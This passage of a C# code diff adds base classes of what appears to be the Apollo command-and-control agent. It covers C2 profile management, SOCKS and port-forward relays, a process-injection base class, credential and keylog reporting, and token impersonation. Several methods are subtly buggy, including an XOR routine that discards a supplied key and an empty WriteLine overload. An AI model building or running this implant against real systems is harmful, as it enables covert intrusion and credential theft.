+        protected AutoResetEvent _exit = new AutoResetEvent(false);
+        protected WaitHandle[] _agentSleepHandles;
+        public bool Alive { get; protected set; } = true;
+
+        protected Random random = new Random((int)DateTime.UtcNow.Ticks);
+
+        public IPeerManager PeerManager { get; protected set; }
+        public ITaskManager TaskManager { get; protected set; }
+        public ISocksManager SocksManager { get; protected set; }
+        public IRpfwdManager RpfwdManager { get; protected set; }
+        public IApi Api { get; protected set; }
+        public IC2ProfileManager C2ProfileManager { get; protected set; }
+        public ICryptographySerializer Serializer { get; protected set; }
+        public IFileManager FileManager { get; protected set; }
+        public IIdentityManager IdentityManager { get; protected set; }
+        public IProcessManager ProcessManager { get; protected set; }
+        public IInjectionManager InjectionManager { get; protected set; }
+        
+        public ITicketManager TicketManager { get; protected set; }
+        public string UUID { get; protected set; }
+
+        public Agent(string uuid)
+        {
+            UUID = uuid;
+            _agentSleepHandles = new WaitHandle[]
+            {
+                _sleepReset,
+                _exit
+            };
+        }
+
+        public abstract void Start();
+        public virtual void Exit() { Alive = false; _exit.Set(); }
+        public virtual void SetSleep(int seconds, double jitter=0)
+        {
+            SleepInterval = seconds * 1000;
+            Jitter = jitter;
+            if (Jitter != 0)
+            {
+                Jitter = Jitter / 100.0; 
+            }
+            _sleepReset.Set();
+        }
+
+        public virtual IApi GetApi()
+        {
+            return Api;
+        }
+        public virtual void Sleep(WaitHandle[] handles = null)
+        {
+            int sleepTime = SleepInterval;
+            if (Jitter != 0)
+            {
+                int minSleep = (int)(SleepInterval * (1 - Jitter));
+                int maxSleep = (int)(SleepInterval * (Jitter + 1));
+                sleepTime = (int)(random.NextDouble() * (maxSleep - minSleep) + minSleep);
+            }
+            WaitHandle[] sleepers = _agentSleepHandles;
+            if (handles != null)
+            {
+                WaitHandle[] tmp = new WaitHandle[handles.Length + sleepers.Length];
+                Array.Copy(handles, tmp, handles.Length);
+                Array.Copy(sleepers, 0, tmp, handles.Length, sleepers.Length);
+                sleepers = tmp;
+            }
+            WaitHandle.WaitAny(sleepers, sleepTime);
+        }
+
+        public void AcquireOutputLock()
+        {
+            _outputLock.WaitOne();
+        }
+
+        public void ReleaseOutputLock()
+        {
+            _outputLock.ReleaseMutex();
+        }
+        
+        public virtual bool IsAlive() { return Alive; }
+
+        public virtual ITaskManager GetTaskManager() { return TaskManager; }
+        public virtual IPeerManager GetPeerManager() { return PeerManager; }
+        public virtual ISocksManager GetSocksManager() { return SocksManager; }
+        public virtual IRpfwdManager GetRpfwdManager() { return RpfwdManager; }
+        public virtual IC2ProfileManager GetC2ProfileManager() { return C2ProfileManager; }
+        public virtual ICryptographySerializer GetCryptographySerializer() { return Serializer; }
+        public virtual IFileManager GetFileManager() { return FileManager; }
+        public virtual IIdentityManager GetIdentityManager() { return IdentityManager; }
+        public virtual IProcessManager GetProcessManager() { return ProcessManager; }
+        public virtual IInjectionManager GetInjectionManager() { return InjectionManager; }
+        
+        public virtual ITicketManager GetTicketManager() { return TicketManager; }
+        public string GetUUID()
+        {
+            return UUID;
+        }
+        public void SetUUID(string newUUID){
+            UUID = newUUID;
+        }
+
+    }
+}
@@ -0,0 +1,22 @@
+using System.Collections.Generic;
+using ApolloInterop.Interfaces;
+using System.Collections.Concurrent;
+using ApolloInterop.Structs.ApolloStructs;
+using ApolloInterop.Classes.Core;
+
+namespace ApolloInterop.Classes
+{
+    public abstract class C2Profile
+    {
+        protected const int MAX_RETRIES = 10;
+        protected ISerializer Serializer;
+        protected IAgent Agent;
+        protected bool Connected = false;
+        protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
+        public C2Profile(Dictionary<string, string> parameters, ISerializer serializer, IAgent agent)
+        {
+            Agent = agent;
+            Serializer = serializer;
+        }
+    }
+}
@@ -0,0 +1,54 @@
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using ApolloInterop.Interfaces;
+
+namespace ApolloInterop.Classes
+{
+    public abstract class C2ProfileManager : IC2ProfileManager 
+    {
+        protected IAgent Agent;
+        protected ConcurrentBag<IC2Profile> EgressProfiles = new ConcurrentBag<IC2Profile>();
+        protected ConcurrentBag<IC2Profile> IngressProfiles = new ConcurrentBag<IC2Profile>();
+
+        public C2ProfileManager(IAgent agent)
+        {
+            Agent = agent;
+        }
+
+        public abstract IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters);
+
+        public virtual bool AddEgress(IC2Profile profile)
+        {
+            EgressProfiles.Add(profile);
+            return true;
+        }
+
+        public virtual bool AddIngress(IC2Profile profile)
+        {
+            IngressProfiles.Add(profile);
+            return true;
+        }
+
+        public virtual IC2Profile[] GetEgressCollection()
+        {
+            return EgressProfiles.ToArray();
+        }
+
+        public virtual IC2Profile[] GetIngressCollection()
+        {
+            return IngressProfiles.ToArray();
+        }
+
+        public virtual IC2Profile[] GetConnectedEgressCollection()
+        {
+            List<IC2Profile> connected = new List<IC2Profile>();
+            foreach(var c2 in EgressProfiles.ToArray())
+            {
+                if (c2.IsConnected())
+                    connected.Add(c2);
+            }
+            return connected.ToArray();
+        }
+    }
+}
@@ -0,0 +1,36 @@
+using ApolloInterop.Classes.Events;
+using ApolloInterop.Interfaces;
+using System;
+
+namespace ApolloInterop.Classes.Core
+{
+    public class ChunkedMessageStore<T> where T : IChunkMessage
+    {
+        private T[] _messages = null;
+        private object _lock = new object();
+        private int _currentCount = 0;
+
+        public event EventHandler<ChunkMessageEventArgs<T>> ChunkAdd;
+        public event EventHandler<ChunkMessageEventArgs<T>> MessageComplete;
+        public void OnMessageComplete() => MessageComplete?.Invoke(this, new ChunkMessageEventArgs<T>(_messages));
+        public void AddMessage(T d)
+        {
+            lock(_lock)
+            {
+                if (_messages == null)
+                {
+                    _messages = new T[d.GetTotalChunks()];
+                }
+                _messages[d.GetChunkNumber()-1] = d;
+                _currentCount += 1;
+            }
+            if (_currentCount == d.GetTotalChunks())
+            {
+                OnMessageComplete();
+            } else
+            {
+                ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<T>(new T[1] { d }));
+            }
+        }
+    }
+}
@@ -0,0 +1,83 @@
+using ApolloInterop.Classes.Api;
+using ApolloInterop.Interfaces;
+using static ApolloInterop.Enums.Win32;
+using System;
+using System.ComponentModel;
+
+namespace ApolloInterop.Classes.Core
+{
+    public abstract class InjectionTechnique : IInjectionTechnique
+    {
+        protected byte[] _code;
+        protected int _processId;
+        protected IntPtr _hProcess = IntPtr.Zero;
+        protected IAgent _agent;
+        protected delegate IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int pid);
+        protected delegate bool DuplicateHandle(
+            IntPtr hSourceProcessHandle,
+            IntPtr hSourceHandle,
+            IntPtr hTargetProcessHandle,
+            out IntPtr lpTargetHandle,
+            ProcessAccessFlags dwDesiredAccess,
+            bool bInheritHandle,
+            int dwOptions);
+        protected delegate void CloseHandle(IntPtr hHandle);
+
+        protected OpenProcess _pOpenProcess;
+        protected DuplicateHandle _pDuplicateHandle;
+        protected CloseHandle _pCloseHandle;
+
+        // Dangerous - should only be used when resolving
+        // critical functions _pOpenProcess, _pDuplicateHandle,
+        // and _pCloseHandle.
+        public InjectionTechnique()
+        {
+            
+        }
+        public InjectionTechnique(IAgent agent, byte[] code, int pid)
+        {
+            _code = code;
+            _processId = pid;
+            _agent = agent;
+            ResolveCriticalFunctions();
+            _hProcess = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, pid);
+        }
+
+        public InjectionTechnique(IAgent agent, byte[] code, IntPtr hProcess)
+        {
+            _code = code;
+            _agent = agent;
+
+            ResolveCriticalFunctions();
+            bool bRet = _pDuplicateHandle(
+                System.Diagnostics.Process.GetCurrentProcess().Handle,
+                hProcess,
+                hProcess,
+                out _hProcess,
+                ProcessAccessFlags.MAXIMUM_ALLOWED,
+                false,
+                0);
+            if (!bRet)
+            {
+                throw new Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error());
+            }
+        }
+
+        ~InjectionTechnique()
+        {
+            if (_hProcess != IntPtr.Zero)
+            {
+                _pCloseHandle(_hProcess);
+            }
+        }
+
+        private void ResolveCriticalFunctions()
+        {
+            _pOpenProcess = _agent.GetApi().GetLibraryFunction<OpenProcess>(Library.KERNEL32, "OpenProcess");
+            _pDuplicateHandle = _agent.GetApi().GetLibraryFunction<DuplicateHandle>(Library.KERNEL32, "DuplicateHandle");
+            _pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
+        }
+
+        public abstract bool Inject(string arguments = "");
+    }
+}
@@ -0,0 +1,96 @@
+using ApolloInterop.Classes.Api;
+using ApolloInterop.Classes.Events;
+using ApolloInterop.Interfaces;
+using ApolloInterop.Structs.ApolloStructs;
+using System;
+
+namespace ApolloInterop.Classes.Core
+{
+    public abstract class Process : IProcess
+    {
+        public string Application { get; protected set; }
+        public string CommandLine { get; protected set; }
+        protected bool _startSuspended;
+        public bool HasExited { get; protected set; }
+        public int ExitCode { get; protected set; }
+        public uint PID { get; protected set; }
+        public string StdOut { get; protected set; } = "";
+        public string StdErr { get; protected set; } = "";
+        public IntPtr Handle { get; protected set; }
+        protected IAgent _agent;
+        private delegate ulong RtlNtStatusToDosError(int status);
+        public event EventHandler<StringDataEventArgs> OutputDataReceived;
+        public event EventHandler<StringDataEventArgs> ErrorDataReceieved;
+        public event EventHandler Exit;
+
+        public void OnOutputDataReceived(object sender, StringDataEventArgs args)
+        {
+            OutputDataReceived?.Invoke(sender, args);
+        }
+
+        public void OnErrorDataRecieved(object sender, StringDataEventArgs args)
+        {
+            ErrorDataReceieved?.Invoke(sender, args);
+        }
+
+        public abstract void Kill();
+
+        public void OnExit(object sender, EventArgs args)
+        {
+            Exit?.Invoke(sender, args);
+        }
+        public Process(IAgent agent, string lpApplication, string lpArguments = null, bool startSuspended = false)
+        {
+            _agent = agent;
+            if (string.IsNullOrEmpty(lpApplication) && string.IsNullOrEmpty(lpArguments))
+            {
+                throw new Exception("Application and arguments cannot be null.");
+            }
+            if (string.IsNullOrEmpty(lpArguments))
+            {
+                CommandLine = lpApplication;
+                Application = lpApplication;
+            }
+            else if (string.IsNullOrEmpty(lpApplication))
+            {
+                CommandLine = lpArguments;
+            }
+            else
+            {
+                Application = lpApplication;
+                CommandLine = $"{lpApplication} {lpArguments}";
+            }
+            _startSuspended = startSuspended;
+        }
+
+        public int? GetExitCodeHResult()
+        {
+            const uint HRESULT_MASK = 0x80070000;
+
+            if (!HasExited)
+            {
+                return null;
+            }
+
+            var rtlNtStatusToDosError = _agent.GetApi().GetLibraryFunction<RtlNtStatusToDosError>(Library.NTDLL, "RtlNtStatusToDosError");
+            if (rtlNtStatusToDosError == null)
+            {
+                return null;
+            }
+
+            return unchecked((int)(rtlNtStatusToDosError(ExitCode) | HRESULT_MASK));
+        }
+
+        public abstract bool Inject(byte[] code, string arguments = "");
+
+        public abstract bool Start();
+
+        public abstract bool StartWithCredentials(ApolloLogonInformation logonInfo);
+
+        public abstract bool StartWithCredentials(IntPtr hToken);
+
+        public abstract void WaitForExit();
+
+        public abstract void WaitForExit(int milliseconds);
+    }
+}
@@ -0,0 +1,32 @@
+using System;
+using System.Net.Sockets;
+using ApolloInterop.Interfaces;
+using ApolloInterop.Structs.MythicStructs;
+
+namespace ApolloInterop.Classes
+{
+    public abstract class RpfwdManager : IRpfwdManager
+    {
+        protected IAgent _agent;
+
+        public RpfwdManager(IAgent agent)
+        {
+            _agent = agent;
+        }
+
+        public virtual bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task)
+        {
+            throw new NotImplementedException();
+        }
+
+        public virtual bool Route(SocksDatagram dg)
+        {
+            throw new NotImplementedException();
+        }
+
+        public virtual bool Remove(int id)
+        {
+            throw new NotImplementedException();
+        }
+    }
+}
@@ -0,0 +1,26 @@
+using System;
+using ApolloInterop.Interfaces;
+using ApolloInterop.Structs.MythicStructs;
+
+namespace ApolloInterop.Classes
+{
+    public abstract class SocksManager : ISocksManager
+    {
+        protected IAgent _agent;
+
+        public SocksManager(IAgent agent)
+        {
+            _agent = agent;
+        }
+
+        public virtual bool Route(SocksDatagram dg)
+        {
+            throw new NotImplementedException();
+        }
+
+        public virtual bool Remove(int id)
+        {
+            throw new NotImplementedException();
+        }
+    }
+}
@@ -0,0 +1,128 @@
+using ApolloInterop.Interfaces;
+using ApolloInterop.Structs.MythicStructs;
+using ApolloInterop.Enums.ApolloEnums;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using ApolloInterop.Serializers;
+using ApolloInterop.Classes.Impersonation;
+
+namespace ApolloInterop.Classes
+{
+    public abstract class Tasking : ITask
+    {
+        protected IAgent _agent;
+        protected MythicTask _data;
+        protected static JsonSerializer _jsonSerializer = new JsonSerializer();
+        protected CancellationTokenSource _cancellationToken;
+        public Tasking(IAgent agent, MythicTask data)
+        {
+            _agent = agent;
+            _data = data;
+            _cancellationToken = new CancellationTokenSource();
+        }
+
+        public string ID()
+        {
+            return _data.ID;
+        }
+
+        public abstract void Start();
+
+        public virtual System.Threading.Tasks.Task CreateTasking()
+        {
+            return new System.Threading.Tasks.Task(() =>
+            {
+                var impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity();
+                ImpersonationScope.Run(impersonationIdentity, Start);
+            }, _cancellationToken.Token);
+        }
+
+        public virtual void Kill()
+        {
+            _cancellationToken.Cancel();
+        }
+
+        public virtual MythicTaskResponse CreateTaskResponse(object userOutput, bool completed, string? status = null, IEnumerable<IMythicMessage>? messages = null)
+        {
+            MythicTaskResponse resp = new MythicTaskResponse();
+            resp.UserOutput = userOutput;
+            resp.Completed = completed;
+            resp.TaskID = _data.ID;
+            resp.Status = status;
+            if (messages != null)
+            {
+                List<EdgeNode> edges = new List<EdgeNode>();
+                List<Credential> creds = new List<Credential>();
+                List<RemovedFileInformation> removed = new List<RemovedFileInformation>();
+                List<Artifact> artifacts = new List<Artifact>();
+                List<ProcessInformation> processes = new List<ProcessInformation>();
+                List<CommandInformation> cmds = new List<CommandInformation>();
+                List<KeylogInformation> keylogs = new List<KeylogInformation>();
+                foreach (IMythicMessage msg in messages)
+                {
+                    switch (msg.GetTypeCode())
+                    {
+                        case MessageType.CommandInformation:
+                            cmds.Add((CommandInformation)msg);
+                            break;
+                        case MessageType.EdgeNode:
+                            edges.Add((EdgeNode)msg);
+                            break;
+                        case MessageType.FileBrowser:
+                            resp.FileBrowser = (FileBrowser)msg;
+                            break;
+                        case MessageType.Credential:
+                            creds.Add((Credential)msg);
+                            break;
+                        case MessageType.RemovedFileInformation:
+                            removed.Add((RemovedFileInformation)msg);
+                            break;
+                        case MessageType.Artifact:
+                            artifacts.Add((Artifact)msg);
+                            break;
+                        case MessageType.UploadMessage:
+                            resp.Upload = (UploadMessage)msg;
+                            break;
+                        case MessageType.DownloadMessage:
+                            resp.Download = (DownloadMessage)msg;
+                            break;
+                        case MessageType.ProcessInformation:
+                            processes.Add((ProcessInformation)msg);
+                            break;
+                        case MessageType.KeylogInformation:
+                            keylogs.Add((KeylogInformation)msg);
+                            break;
+                        case MessageType.CallbackUpdate:
+                            resp.Callback = (CallbackUpdate)msg;
+                            break;
+                        default:
+                            throw new Exception($"Unhandled message type while generating response: {msg.GetTypeCode()}");
+                    }
+                }
+                resp.Edges = edges.ToArray();
+                resp.Credentials = creds.ToArray();
+                resp.RemovedFiles = removed.ToArray();
+                resp.Artifacts = artifacts.ToArray();
+                resp.Commands = cmds.ToArray();
+                resp.Keylogs = keylogs.ToArray();
+                if (processes.Count > 0)
+                {
+                    resp.Processes = processes.ToArray();
+                }
+            }
+            return resp;
+        }
+
+        public virtual MythicTaskResponse CreateArtifactTaskResponse(IEnumerable<Artifact> artifacts)
+        {
+            var artifactMessages = new IMythicMessage[artifacts.Count()];
+            for (int i = 0; i < artifacts.Count(); i++)
+            {
+                artifactMessages[i] = artifacts.ElementAt(i);
+            }
+            return CreateTaskResponse("", false, "", artifactMessages);
+        }
+    }
+}
@@ -0,0 +1,80 @@
+using System.IO;
+using System.Security.Cryptography;
+using ApolloInterop.Interfaces;
+
+namespace ApolloInterop.Classes.Cryptography
+{
+    public class AesRoutine : ICryptographicRoutine
+    {
+        private readonly Aes _aes;
+        
+        public AesRoutine()
+        {
+            _aes = Aes.Create();
+        }
+
+        public AesRoutine(Aes aes)
+        {
+            _aes = aes;
+        }
+        
+        public byte[] Encrypt(byte[] plaintext)
+        {
+            byte[] encrypted;
+
+            // Create an Aes object
+            // with the specified key and IV.
+            using (Aes aesAlg = Aes.Create())
+            {
+                aesAlg.Key = _aes.Key;
+                aesAlg.IV = _aes.IV;
+
+                // Create an encryptor to perform the stream transform.
+                ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
+
+                // Create the streams used for encryption.
+                using (MemoryStream msEncrypt = new MemoryStream())
+                {
+                    using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
+                    {
+                        csEncrypt.Write(plaintext, 0, plaintext.Length);
+                    }
+                    encrypted = msEncrypt.ToArray();
+                }
+            }
+
+            // Return the encrypted bytes from the memory stream.
+            return encrypted;
+        }
+
+        public byte[] Decrypt(byte[] encrypted)
+        {
+            byte[] plaintext;
+            // Create an Aes object
+            // with the specified key and IV.
+            using (Aes aesAlg = Aes.Create())
+            {
+                aesAlg.Key = _aes.Key;
+                aesAlg.IV = _aes.IV;
+
+                // Create a decryptor to perform the stream transform.
+                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
+
+                // Create the streams used for decryption.
+                using (MemoryStream msDecrypt = new MemoryStream(encrypted))
+                {
+                    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
+                    {
+                        using (BinaryReader brDecrypt = new BinaryReader(csDecrypt))
+                        {
+                            plaintext = brDecrypt.ReadBytes((int)msDecrypt.Length);
+                        }
+                    }
+                }
+            }
+
+            return plaintext;
+        }
+        
+    }
+}
@@ -0,0 +1,42 @@
+using System;
+using System.Text;
+using ApolloInterop.Interfaces;
+
+namespace ApolloInterop.Classes
+{
+    abstract public class CryptographyProvider : ICryptography
+    {
+        public byte[] PSK { get; private set; }
+        protected byte[] UUID { get; private set; }
+        public bool UUIDUpdated { get; private set; } = false;
+
+        public CryptographyProvider(string uuid, string key)
+        {
+            PSK = Convert.FromBase64String(key);
+            UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
+        }
+
+        // UUID should only be updated once after agent registration.
+        public bool UpdateUUID(string uuid)
+        {
+            UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
+            UUIDUpdated = true;
+            return true;
+        }
+
+        virtual public bool UpdateKey(string key)
+        {
+            PSK = Convert.FromBase64String(key);
+            return true;
+        }
+
+        public virtual string GetUUID()
+        {
+            return ASCIIEncoding.ASCII.GetString(UUID);
+        }
+
+        public abstract string Encrypt(string plaintext);
+
+        public abstract string Decrypt(string ciphertext);
+    }
+}
@@ -0,0 +1,32 @@
+using System.Security.Cryptography;
+using ApolloInterop.Interfaces;
+
+namespace ApolloInterop.Classes.Cryptography
+{
+    public class DpapiRoutine : ICryptographicRoutine
+    {
+        private readonly byte[] _additionalEntropy;
+        private readonly DataProtectionScope _scope;
+        public DpapiRoutine(byte[] additionalEntropy, DataProtectionScope scope = DataProtectionScope.CurrentUser)
+        {
+            _additionalEntropy = additionalEntropy;
+            _scope = scope;
+        }
+
+        public DpapiRoutine(DataProtectionScope scope = DataProtectionScope.CurrentUser)
+        {
+            _scope = scope;
+            _additionalEntropy = null;
+        }
+
+        public byte[] Encrypt(byte[] data)
+        {
+            return ProtectedData.Protect(data, _additionalEntropy, _scope);
+        }
+
+        public byte[] Decrypt(byte[] data)
+        {
+            return ProtectedData.Unprotect(data, _additionalEntropy, _scope);
+        }
+    }
+}
@@ -0,0 +1,33 @@
+using System;
+using System.Linq;
+using System.Security.Cryptography;
+
+namespace ApolloInterop.Classes
+{
+    public abstract class RSAKeyGenerator
+    {
+        public string SessionId { get; private set; }
+        public RSACryptoServiceProvider RSA { get; protected set; }
+        public RSAKeyGenerator(int szKey)
+        {
+            SessionId = GenerateSessionId();
+        }
+
+        public RSAKeyGenerator(RSACryptoServiceProvider provider)
+        {
+            SessionId = GenerateSessionId();
+            RSA = provider;
+        }
+
+        public virtual string GenerateSessionId()
+        {
+            Random random = new Random((int)DateTime.UtcNow.Ticks);
+            const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+            return new string(Enumerable.Repeat(chars, 20)
+                  .Select(s => s[random.Next(s.Length)]).ToArray());
+        }
+
+        public abstract string ExportPublicKey();
+        public abstract string ExportPrivateKey();
+    }
+}
@@ -0,0 +1,42 @@
+using ApolloInterop.Interfaces;
+
+namespace ApolloInterop.Classes.Cryptography
+{
+    public class XorRoutine : ICryptographicRoutine
+    {
+        private byte[] _key;
+        
+        public XorRoutine(byte[] key = null)
+        {
+            if (key == null)
+            {
+                _key = System.Guid.NewGuid().ToByteArray();
+            }
+        }
+
+        private byte[] Xor(byte[] input)
+        {
+            int j = 0;
+            for (int i = 0; i < input.Length; i++, j++)
+            {
+                if (j == _key.Length)
+                {
+                    j = 0;
+                }
+                input[i] = (byte)(input[i] ^ _key[j]);
+            }
+
+            return input;
+        }
+        
+        public byte[] Encrypt(byte[] data)
+        {
+            return Xor(data);
+        }
+
+        public byte[] Decrypt(byte[] data)
+        {
+            return Xor(data);
+        }
+    }
+}
@@ -0,0 +1,15 @@
+using ApolloInterop.Interfaces;
+using System;
+
+namespace ApolloInterop.Classes.Events
+{
+    public class ChunkMessageEventArgs<T> : EventArgs where T : IChunkMessage
+    {
+        public T[] Chunks;
+
+        public ChunkMessageEventArgs(T[] chunks)
+        {
+            Chunks = chunks;
+        }
+    }
+}
@@ -0,0 +1,12 @@
+using ApolloInterop.Interfaces;
+using System;
+
+namespace ApolloInterop.Classes.Events
+{
+    public class MythicMessageEventArgs : EventArgs
+    {
+        public IMythicMessage Message;
+
+        public MythicMessageEventArgs(IMythicMessage msg) => Message = msg;
+    }
+}
@@ -0,0 +1,14 @@
+using System;
+
+namespace ApolloInterop.Classes.Events
+{
+    public class StringDataEventArgs : EventArgs
+    {
+        public string Data;
+
+        public StringDataEventArgs(string d)
+        {
+            Data = d;
+        }
+    }
+}
@@ -0,0 +1,13 @@
+using System;
+
+namespace ApolloInterop.Classes
+{
+    public class UUIDEventArgs : EventArgs
+    {
+        public readonly string UUID;
+        public UUIDEventArgs(string uuid)
+        {
+            UUID = uuid;
+        }
+    }
+}
@@ -0,0 +1,188 @@
+using ApolloInterop.Classes.Events;
+using System;
+using System.IO;
+using System.Linq;
+
+namespace ApolloInterop.Classes.IO
+{
+    public class EventableStringWriter : StringWriter
+    {
+        public event EventHandler<StringDataEventArgs> BufferWritten;
+        
+        public override void Write(string value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value));
+        }
+
+        public override void Write(char[] buffer, int index, int count)
+        {
+            string value = new string(buffer.Skip(index).Take(count).ToArray());
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value));
+        }
+
+        public override void Write(char[] buffer)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer)));
+        }
+
+        public override void Write(bool value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(int value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(uint value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(long value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(ulong value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(float value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(double value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(decimal value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(object value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void Write(string format, object arg0)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0)));
+        }
+
+        public override void Write(string format, object arg0, object arg1)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1)));
+        }
+
+        public override void Write(string format, object arg0, object arg1, object arg2)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2)));
+        }
+
+        public override void Write(string format, params object[] arg)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg)));
+        }
+
+        public override void Write(char value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
+        }
+
+        public override void WriteLine(char[] buffer, int index, int count)
+        {
+            string value = new string(buffer.Skip(0).Take(count).ToArray());
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value + "\r\n"));
+        }
+
+        public override void WriteLine()
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs("\r\n"));
+        }
+
+        public override void WriteLine(char value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(char[] buffer)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer) + "\r\n"));
+        }
+
+        public override void WriteLine(bool value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(int value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(uint value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(long value)
+        {
+        }
+
+        public override void WriteLine(ulong value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(float value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(double value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(decimal value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(string value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(object value)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
+        }
+
+        public override void WriteLine(string format, object arg0)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0) + "\r\n"));
+        }
+
+        public override void WriteLine(string format, object arg0, object arg1)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1) + "\r\n"));
+        }
+
+        public override void WriteLine(string format, object arg0, object arg1, object arg2)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2) + "\r\n"));
+        }
+
+        public override void WriteLine(string format, params object[] arg)
+        {
+            BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg) + "\r\n"));
+        }
+    }
+}
@@ -0,0 +1,34 @@
+using System;
+using System.Security.Principal;
+
+namespace ApolloInterop.Classes.Impersonation
+{
+    public static class ImpersonationScope
+    {
+        public static void Run(WindowsIdentity identity, Action action)
+        {
+            if (identity == null)
+                throw new ArgumentNullException(nameof(identity));
+            if (action == null)
+                throw new ArgumentNullException(nameof(action));
+
+            using (identity.Impersonate())
+            {
+                action();
+            }
+        }
+
+        public static T Run<T>(WindowsIdentity identity, Func<T> action)
+        {
+            if (identity == null)
+                throw new ArgumentNullException(nameof(identity));
+            if (action == null)
+                throw new ArgumentNullException(nameof(action));
+
+            using (identity.Impersonate())
+            {
+                return action();
+            }
+        }
+    }
+}
@@ -0,0 +1,54 @@
+using System;
+
+namespace ApolloInterop.Classes.Impersonation
+{
+    [Flags]
+    public enum PrivilegeAttributes : uint
+    {
+        SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,
+        SE_PRIVILEGE_ENABLED = 0x00000002,
+        SE_PRIVILEGE_REMOVED = 0x00000004,
+        SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
+    }
+
+    public enum TokenPrivilege
+    {
+        Unknown = -1,
+        SeAssignPrimaryTokenPrivilege,
+        SeAuditPrivilege,
+        SeBackupPrivilege,
+        SeChangeNotifyPrivilege,
+        SeCreateGlobalPrivilege,
+        SeCreatePagefilePrivilege,
+        SeCreatePermanentPrivilege,
+        SeCreateSymbolicLinkPrivilege,
+        SeCreateTokenPrivilege,
+        SeDebugPrivilege,
+        SeDelegateSessionUserImpersonatePrivilege,
+        SeEnableDelegationPrivilege,
+        SeImpersonatePrivilege,
+        SeIncreaseBasePriorityPrivilege,
+        SeIncreaseQuotaPrivilege,
+        SeIncreaseWorkingSetPrivilege,
+        SeLoadDriverPrivilege,
+        SeLockMemoryPrivilege,
+        SeMachineAccountPrivilege,
+        SeManageVolumePrivilege,
+        SeProfileSingleProcessPrivilege,
+        SeRelabelPrivilege,
+        SeRemoteShutdownPrivilege,
+        SeRestorePrivilege,
+        SeSecurityPrivilege,
